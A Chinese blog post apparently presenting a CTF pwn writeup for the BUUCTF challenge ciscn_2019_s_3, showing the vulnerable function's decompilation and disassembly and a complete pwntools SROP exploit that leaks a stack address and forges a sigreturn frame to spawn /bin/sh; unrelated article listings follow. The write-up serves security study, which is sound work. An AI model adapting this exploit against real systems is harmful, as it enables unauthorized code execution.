先放个例题吧,原理后面有时间再更:BUUCTF ciscn_2019_s_3

保护只开了nx

1 signed __int64 vuln()
2 {
3 signed __int64 v0; // rax
4 char buf[16]; // [rsp+0h] [rbp-10h] BYREF
5
6 v0 = sys_read(0, buf, 0x400uLL);
7 return sys_write(1u, buf, 0x30uLL);
8 }
 1 .text:00000000004004ED vuln            proc near               ; CODE XREF: main+14↓p
2 .text:00000000004004ED
3 .text:00000000004004ED buf = byte ptr -10h
4 .text:00000000004004ED
5 .text:00000000004004ED ; __unwind {
6 .text:00000000004004ED push rbp
7 .text:00000000004004EE mov rbp, rsp
8 .text:00000000004004F1 xor rax, rax
9 .text:00000000004004F4 mov edx, 400h ; count
10 .text:00000000004004F9 lea rsi, [rsp+buf] ; buf
11 .text:00000000004004FE mov rdi, rax ; fd
12 .text:0000000000400501 syscall ; LINUX - sys_read
13 .text:0000000000400503 mov rax, 1
14 .text:000000000040050A mov edx, 30h ; '0' ; count
15 .text:000000000040050F lea rsi, [rsp+buf] ; buf
16 .text:0000000000400514 mov rdi, rax ; fd
17 .text:0000000000400517 syscall ; LINUX - sys_write
18 .text:0000000000400519 retn
1 .text:00000000004004D6 gadgets         proc near
2 .text:00000000004004D6 ; __unwind {
3 .text:00000000004004D6 push rbp
4 .text:00000000004004D7 mov rbp, rsp
5 .text:00000000004004DA mov rax, 0Fh
6 .text:00000000004004E1 retn
7 .text:00000000004004E1 gadgets endp ; sp-analysis failed
8 .text:00000000004004E1

很明显的SROP,要上课了,先把exp放出来吧

 1 from pwn import *
2 context.log_level='debug'
3 context.arch='amd64'
4
5 s=process('./1')
6
7 read=0x4004F1
8 syscall_ret=0x400517
9 mov_rax_0xf=0x4004DA
10
11
12 payload=b'/bin/sh\x00aaaaaaaa'+p64(read)
13 s.sendline(payload)
14
15 s.recv(32)
16 bin_sh_addr=u64(s.recv(8))-0x118
17
18 sigframe=SigreturnFrame()
19 sigframe.rax=constants.SYS_execve#0x3b
20 sigframe.rdi=bin_sh_addr
21 sigframe.rip=syscall_ret
22
23 payload=b'a'*0x10+p64(mov_rax_0xf)+p64(syscall_ret)+bytes(sigframe)
24 s.send(payload)
25
26 s.interactive()

SROP的更多相关文章

  1. srop实战

    前言 srop 的作用比较强,在条件允许的情况下,尽量使用它.题目来自于 i春秋的一个比赛. 题目链接: https://gitee.com/hac425/blog_data/blob/master/ ...

  2. SROP例题

    具体攻击原理可以参考安全客这篇文章:入口 刚学了一点,也是懵懵懂懂的,拿几道题来练练手. ciscn_2019_es_7 64位程序,只开启了NX保护. 相当于执行了read(0,buf,0x400) ...

  3. SROP的一个实例

    以前一直只是大概看过这种技术,没实践过,今天刚好遇到一道题,实践了一波,确实很方便 unmoxiao@cat ~/s/pd_ubuntu> r2 -A smallest 00:54:15 War ...

  4. PetaPoco4.0的事务为什么不会回滚

    using (var srop=DbHelper.CurrentDb.GetTransaction()) { ID = bp.AddModel(model).ToStr(); #region 参与楼盘 ...

  5. 套题T7

    P4712 铺瓷砖 时间: 1000ms / 空间: 65536KiB / Java类名: Main   描述

  6. pwntools简介

    安装binutils: git clone https://github.com/Gallopsled/pwntools-binutils sudo apt-get install software- ...

  7. 2.oracle之用户管理sql

    --创建用户--create user  用户名  identified by  密码;create user jojo identified by bean; --给用户授权--grant conn ...

  8. mysql grep database error(cannot rmdir /dbname)

    service mysql stop cd /var/lib/mysql/dbname rm -rf .fmr rm -rf .txt service mysql start srop databas ...

  9. 使用jdk进行数据迁移(sqlite迁移mysql)

    直接粘贴代码 注意:rewriteBatchedStatements=true(加快连接速度) package com.wbg; import org.omg.Messaging.SYNC_WITH_ ...

随机推荐

  1. myatoi

    atoi (表示 ascii to integer)是把字符串转换成整型数的一个函数,应用在计算机程序和办公软件中.int atoi(const char *nptr) 函数会扫描参数 nptr字符串 ...

  2. Linux命令之用户权限管理

    1.创建组.删除组.修改组名.查看组 groupadd 组名 #添加用户组 groupdel 组名 #删除用户组 groupmod -n 新组名 原组名 #修改用户组名称 groups 用户名 #查看 ...

  3. 通信协议 HTTP TCP UDP

    TCP   HTTP   UDP: 都是通信协议,也就是通信时所遵守的规则,只有双方按照这个规则"说话",对方才能理解或为之服务. TCP   HTTP   UDP三者的关系: T ...

  4. java 整型

    byte(1字节).short(2字节).int(4字节).long(16字节) java中前缀加上0b或者0B就可以写二进制数,前缀加上0就可以写八进制数,前缀加上0x或者0X就可以写十六进制数 一 ...

  5. 通过静态分析和持续集成 保证代码的质量 (Helix QAC)1

    前言 现代软件开发团队面临着很多挑战,这些挑战包括:产品交付期限越来越紧,团队的分布越来越广,软件的复杂度越来越高,而且对软件的质量要求越来越高. 本文分为两个章节.第一章讨论持续集成的原理,持续集成 ...

  6. libev I/O事件

    libev是来实现reactor模式,主要包含三大部分: 1. watcher:watcher是Reactor中的Event Handler. 作用:1)向事件循环提供了统一的调用接口(按类型区分) ...

  7. Linux命令执行过程

    目录 一.命令分类 二.命令执行顺序 三.命令分类及查找基本命令 四.命令执行过程 一.命令分类 Linux命令分为两类,具体为内部命令和外部命令 内部命令: 指shell内部集成的命令,此类命令无需 ...

  8. tableau绘制热力地图

    一.右键国家地区和城市字段分别设置为地理角色-国家地区和城市 二.双击国家地区和城市添加到工作表 三.把订单id拖拽至标记卡的详细信息,标记改为密度显示,颜色设置为温度发散 四.最终整理结果如下图所示

  9. netty系列之:一个价值上亿的网站速度优化方案

    目录 简介 本文的目标 支持多个图片服务 http2处理器 处理页面和图像 价值上亿的速度优化方案 总结 简介 其实软件界最赚钱的不是写代码的,写代码的只能叫马龙,高级点的叫做程序员,都是苦力活.那么 ...

  10. [BUUCTF]REVERSE——[MRCTF2020]Transform

    [MRCTF2020]Transform 附件 步骤: 例行检查,64位程序,无壳 64位ida载入,找到关键函数 一开始让我们输入一个长度为33位的字符串,之后使用数组dword_40F040打乱了 ...